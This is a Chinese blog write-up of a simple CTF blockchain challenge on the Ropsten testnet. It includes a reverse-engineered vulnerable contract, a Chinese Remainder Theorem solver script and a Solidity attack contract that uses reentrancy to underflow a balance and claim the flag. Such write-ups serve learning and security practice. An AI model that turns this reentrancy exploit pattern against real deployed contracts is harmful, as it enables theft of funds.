Fork me on GitHub
pikachu's Blog

一道很简单的区块链题目

前言

  • 不经意间看到的一个题目,就随便做了一下
  • 大佬勿喷
  • 合约地址:0x496371aF69612e7C85F8a558f9f19E0c15E9d4B0 @ ropsten, payforflag(string memory b64email)

Analyse

  • 没有给源码,自己逆向,得到下面的逻辑
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
pragma solidity ^0.4.23;

contract test {
mapping(address=>uint) public balance;
address public owner;
uint s2;
uint s3;
uint s4;

function profit(uint amount) public {
require(balance[msg.sender] == 0);
require(s2 != 0);

if(amount % s2 == s3){
require(s3 != 0);
if(amount % s3 == s4){
balance[msg.sender] += 3;
}
}
}

function withdraw(uint amount) public {
require(amount == 2);
require(balance[msg.sender] == 3);
msg.sender.call.value(amount * 100000000000000)();
balance[msg.sender] -= amount;
}

function payforflag(string memory b64email) public {
require(balance[msg.sender]>=10000000000);
}

function func_0531(uint t1, uint t2, uint t3) public {
require(msg.sender == owner);
s2 = t1;
s3 = t2;
s4 = t3;
}

}
  • 很简单,先调用 profit ,使得 balance[msg.sender] = 3 ,这里 s2s3s4是owner设置的,我们可以直接 web3.eth.getStorageAt 查看即可,发现 s2=65537s3=64834s4=41958,然后就是中国剩余定理求解问题,可用下面脚本,求得 amount=227609298
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from functools import reduce
def egcd(a, b):
"""扩展欧几里得"""
if 0 == b:
return 1, 0, a
x, y, q = egcd(b, a % b)
x, y = y, (x - a // b * y)
return x, y, q
def chinese_remainder(pairs):
"""中国剩余定理"""
mod_list, remainder_list = [p[0] for p in pairs], [p[1] for p in pairs]
mod_product = reduce(lambda x, y: x * y, mod_list)
mi_list = [mod_product//x for x in mod_list]
mi_inverse = [egcd(mi_list[i], mod_list[i])[0] for i in range(len(mi_list))]
x = 0
for i in range(len(remainder_list)):
x += mi_list[i] * mi_inverse[i] * remainder_list[i]
x %= mod_product
return x
if __name__=='__main__':
print(chinese_remainder([(65537, 64834), (64834, 41958)]))
  • 然后调用 withdraw 两次,重入攻击,便可满足 balance[msg.sender]>=10000000000

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
pragma solidity ^0.4.23;

contract test {
mapping(address=>uint) public balance;
address public owner;
uint s2;
uint s3;
uint s4;

function profit(uint amount) public {
require(balance[msg.sender] == 0);
require(s2 != 0);

if(amount % s2 == s3){
require(s3 != 0);
if(amount % s3 == s4){
balance[msg.sender] += 3;
}
}
}

function withdraw(uint amount) public {
require(amount == 2);
require(balance[msg.sender] == 3);
msg.sender.call.value(amount * 100000000000000)();
balance[msg.sender] -= amount;
}

function payforflag(string memory b64email) public {
require(balance[msg.sender]>=10000000000);
}

function func_0531(uint t1, uint t2, uint t3) public {
require(msg.sender == owner);
s2 = t1;
s3 = t2;
s4 = t3;
}

}

contract hack {
address instance_address = 0x496371aF69612e7C85F8a558f9f19E0c15E9d4B0 ;
test target = test(instance_address);
uint public have_withdraw = 0;

constructor() payable{}

function hack1() {
target.profit(227609298);
}

function hack2() {
target.withdraw(2);
}

function() payable {
if (have_withdraw == 0 && msg.sender == instance_address){
have_withdraw = 1;
target.withdraw(2);
}
}

function hack3(string memory b64email) {
target.payforflag(b64email);
}
}
  • 依次调用 hack1hack2hack3即可
  • 需要注意的是,需要先强制转账给题目合约,不然重入攻击没法完成
  • 完结,撒花🎉🎉🎉🎉🎉🎉🎉🎉🎉
---------------- The End ----------------
谢谢大爷~

Author:pikachu
Link:https://hitcxy.com/2020/easy-blockchains/
Contact:hitcxy.cn@gmail.com
本文基于 知识共享署名-相同方式共享 4.0 国际许可协议发布
转载请注明出处,谢谢!